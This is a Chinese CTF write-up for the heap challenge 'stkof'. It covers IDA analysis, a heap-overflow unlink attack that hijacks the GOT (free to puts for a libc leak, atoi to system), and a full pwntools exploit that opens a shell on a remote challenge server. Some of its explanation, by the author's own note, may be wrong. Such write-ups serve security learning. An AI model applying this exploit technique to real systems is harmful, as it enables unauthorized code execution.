# 1. 程序分析

64 位程序,没有开启 pie

# 利用 ida 进行分析

发现是一个流程

#v3=1

此处先让我输入,然后根据输入的值开辟一个对应大小的堆

(&::s)[++dword_602100] = v2;  这里是存放chunk地址的数组;
这里是一个数组里面一个元素有八个字节,这里将我们开辟的堆的地址存放在这里
前面的::s这是因为ida在编译伪代码的时候出现了一些问题,这个s和其他变量名重复了
所以我们只需要选中`::`后面的s然后右键选择Rename global item更改一下变量名就可以了

printf("%d\n", (unsigned int)dword_602100);
这里也会打印上面数组的下标(dword_602100)


从这里也发现了对应数组下标是从 1 开始的

dword_602100 在 bbs 段,地址是 0x602100 ,不过它只存放对应数组下标,我们需要看数组地址,所以查看 s

#v3=2

fread 函数原型:

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
- ptr 指向满足size_t nmemb最小尺寸的内存块的指针
- size 要读取的每个元素的大小,以字节为单位。
- nmemb 总共有多少个元素,每个元素的大小为size字节
- stream  这时指向FILE对象的指针,该FILE对象指定了一个输入流

返回值:成功读取的元素总数会以 size_t 对象返回,size_t 对象是一个整型数据类型。
(如果总数与 nmemb 参数不同,则可能发生了一个错误或者到达了文件末尾)
c
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;  // 移动指针
    n -= i;      // 输入多少字节就减多少
  }

这里解释 for 的判断条件:

第一个fread是赋值给i要输入字节数的大小;
当i>0时,执行第二个fread;
第二个fread是执行写入操作

#v3=3

输入选择一个 chunk 并将其释放,因为指针被置 0,所以无法使用 uaf 漏洞

#v3=4时


这里只起判断长度的作用没有其他功能 (但是我们可以利用这个 puts 来输出)

# 2. 漏洞分析

上面的代码分析里我们发现,当 v3=2 时,可以自己控制输入大小,这样我们就能够利用堆溢出漏洞,这里没有后门函数,所以需要我们泄露 libc 地址

gdb 调试看一下:
这里先切换 glibc 版本为 2.23-0ubuntu11.3_amd64

创建分别 16,32,48 大小的堆块,查看一下

这里看到 红色框内 的为我们创建的 chunk,而 黄色框 的 chunk 是因为系统没有创建 buf,所以就申请了缓冲区

按理说在gdb中时候用heap命令应该只会看到四个chunk(含top_chunk),但是这次出现了六个chunk。
多出来的两个chunk其实是由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,即初次使用fget()函数和printf()函数的时候

通过上面发现的存储堆块的数组的地址来查看一下情况:


通过图里我们可以发现,其对应的是 chunkdata 区域(上面的 chunk 地址 + 0x10)

这里我们就可以根据这个数组的地址,改变数组存放的地址为该 数组地址-0x18 ,但是此时这个 减0x18 的地址会被 数组存放 认为是个堆块,那么我们就能按地址顺序修改一系列数组内部的值为我们想要修改内容的 地址 ,然后根据对应 chunk编号 来编辑我们已经修改过的 数组内的地址内容

因为上面函数分析里发现有个 puts 函数,我们可以利用它来泄露 libc 地址

这里是将数组存放的地址改为数组的开头,然后去访它让我们修改,我们修改了这个数组里存放的 chunk 地址为函数的 got 地址,然后再编辑这几个 chunk 时 其实改的是 got 内的函数真实地址,我们将 free 修改为 system 即可 getshell

# 3.exp 构造:

从上面任意创建的堆块来看,我们创建的三个堆中,chunk1 被系统产生的堆块给分开了,这对我们想溢出产生了影响,那么我们就从我们创建的第二个 chunk 来溢出构造满足 unlink 漏洞

# 1. 申请堆块

这里创建的堆块大小也有限制,因为我们不能将释放的堆块进入 fastbin 中,这会导致无法合并,所以释放的堆块要大于 0x80,chunk1 大小随意,chunk2 大小为 0x30(fake_chunk 的 pre_size、size、fd、bk、fd_nextpre、fd_nextsize),chunk3 大小 0x80(小于 0x80 会进入 fastbin chunk 流程,无法按预期 unlink)

n
allocate(0x10)
allocate(0x30)
allocate(0x80) #这里不能是 0x90

# 2. 进行溢出

这里需要改变的地方有两个一个是构造我们的 fake_chunk 使绕过 unlink 检查;另一个是改变 chunk3 的 pre_size 和 size 位的 p 标志符这样做是为了将我们构造的 fake_chunk 视为空闲块

n
payload1=p64(0)+p64(0x20)+p64(P-0x18)+p64(P-0x10)+p64(0x20)+p64(0)
#这里分别对应的是 fake_chunk 的 pre_size size、 fd、 bk、 fd_nextpre、 fd_nextsize
payload1+=p64(0x30)+p64(0x90)
#这里分别对应的是 chunk3 的 pre_size、size (这里的 size 是加上了 pre_size 和 size 的大小,所以比前面申请的大)
fill(2,len(payload1),payload1)

这里需要查找 P 的地址,在记录堆块地址的数组中,由于我们后续要释放 chunk3 想要触发 unlink 就要让其向前合并,那么就要将 chunk2 当作 unlink 的 P 的数组地址,(这里因为我们伪造了 fake_chunk 所以向前合并时合并的是我们伪造的 chunk ,但是仍然以存放的 chunk2 的数组地址来当中 chunk3 的上一个存放 chunk 的数组的地址)

P 地址位存放 chunk2 的数组的地址, P=0x602150

n
#gdb.attach(P)
free(3)
gdb.attach(P)

释放前:

释放后:

可以看到,free 后执行了 unlink,将 0x602138 写入 0x602150 中,前面已经知道了数组 ( s ) 的起始地址是 0x602140

# 4. 泄露 libc 地址

当我们编辑 chunk2 时,相当于在 0x602138 上写入 内容 ,那么我们可以通过这种方式来对 s 数组的内容进行修改,只不过是 s 是从 0x602140 开始,所以先要填充 8 个字节,前面程序执行过 free、puts、atoi 函数,我们可以写入他们的 got 地址进行改写函数的功能

n
payload2=p64(0)+p64(puts_got)+p64(free_got)+p64(atoi_got)
fill(2,len(payload2),payload2)
gdb.attach(p)
pause()

发现修改成了函数地址:


下面的可能有问题:

【这里有个问题,0x602140 是 s [0], 但是没有用,那我们的函数是不是应该填充两个 8 字节来占位】
这时我们修改 数组存放 的对应 地址 时修改的是函数 got表内的地址

我们先泄露 pus 的真实地址:

修改 chunk2(此时 chunk2 为 free_got )变为 puts_plt ,这样我们执行 free 时相当于执行 puts;这里我们需要一个参数,原本 free(chunk1) 会释放对应地址的 chunk,这时会变成 puts(puts_got) ,也就是说 chunk1 的地址成为了参数

n
payload3=p64(puts_plt)
fill(2,len(payload3),payload3)//改变free_got功能为puts
free(1) //相当于执行puts(puts_got)

接收:

n
puts=u64(p.recv(6).ljust(8,b'\x00'))
log.info(hex(puts))
p.recvuntil("OK\n")
gdb.attach(p)
pause()

可以看到接收的地址在 "OK" 的前面,就需要先接收地址

# 5. 计算 system 地址:

我们已经得到了 puts 的真实地址,可以通过这个去得到 libc 的基址,然后计算得到 system 的真实地址:

n
libc_base=puts-libc.symbols["puts"]
system=libc_base+libc.symbols["system"]
binsh=libc_base+next(libc.search(b"/bin/sh"))
log.info("system:"+hex(system))
log.info("binsh:"+hex(binsh))
gdb.attach(p)
pause()

泄露出了地址:

# 6. 获取 shell

前面将 free_got 该成了 puts 泄露了地址,这里我们只需要以同样的方式将 atoi 改成 system 再往 atio 里输入 /bin/shgetshell 即可

n
payload4=p64(system) # 将 free 改为 system
fill(3,len(payload4),payload4)
payload5=p64(binsh) # 将 atoi 改为 "/bin/sh"
p.sendline(payload5)  #因为原本程序输入会调用 atoi,输入值为 atoi 的参数,那么这里就变成了输入值为 system 的参数(因为 atoi 变为了 system)

# 7. 完整 exp:

n
from pwn import *
#from LibcSearcher import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn', 29948)
e=ELF("./stkof")
libc=ELF("./libc.so.6")
puts_got=e.got["puts"]
puts_plt=e.plt["puts"]
atoi_got=e.got["atoi"]
free_got=e.got["free"]
#p=process("./stkof")
P=0x602150
def allocate(size):
    p.sendline("1")
    p.sendline(str(size))
    p.recvuntil("OK\n")
def fill(index,size,content):
    p.sendline("2")
    p.sendline(str(index))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil("OK\n")
    
def free(index):
    p.sendline("3")
    p.sendline(str(index))
    #p.recvuntil ("OK\n")  #注意这里如果接收会影响后面接收地址
def dump(index):
    p.sendlineafter("Command: ","4")
    p.sendlineafter("Index: ",str(index))
allocate(0x10) 
allocate(0x30)
allocate(0x80)
#allocate(0x10)
#allocate(0x80)
payload1=p64(0)+p64(0x31)+p64(P-0x18)+p64(P-0x10)+p64(0x20)+p64(0)
payload1+=p64(0x30)+p64(0x90)
fill(2,len(payload1),payload1)
#gdb.attach(p)
free(3)
p.recvuntil("OK\n")
payload2=p64(0)+p64(0)+p64(puts_got)+p64(free_got)+p64(atoi_got)
fill(2,len(payload2),payload2)
payload3=p64(puts_plt)
fill(2,len(payload3),payload3) #改变 free_got 功能为 puts
free(1) #相当于执行 puts (puts_got)
#p.recvuntil("OK\n")
puts=u64(p.recv(6).ljust(8,b'\x00'))
log.info(hex(puts))
p.recvuntil("OK\n")
libc_base=puts-libc.symbols["puts"]
system=libc_base+libc.symbols["system"]
binsh=libc_base+next(libc.search(b"/bin/sh"))
log.info("system:"+hex(system))
log.info("binsh:"+hex(binsh))
payload4=p64(system) # 将 free 改为 system
fill(3,len(payload4),payload4)
payload5=p64(binsh) 
p.sendline(payload5)
#gdb.attach(p)
#pause()
p.interactive()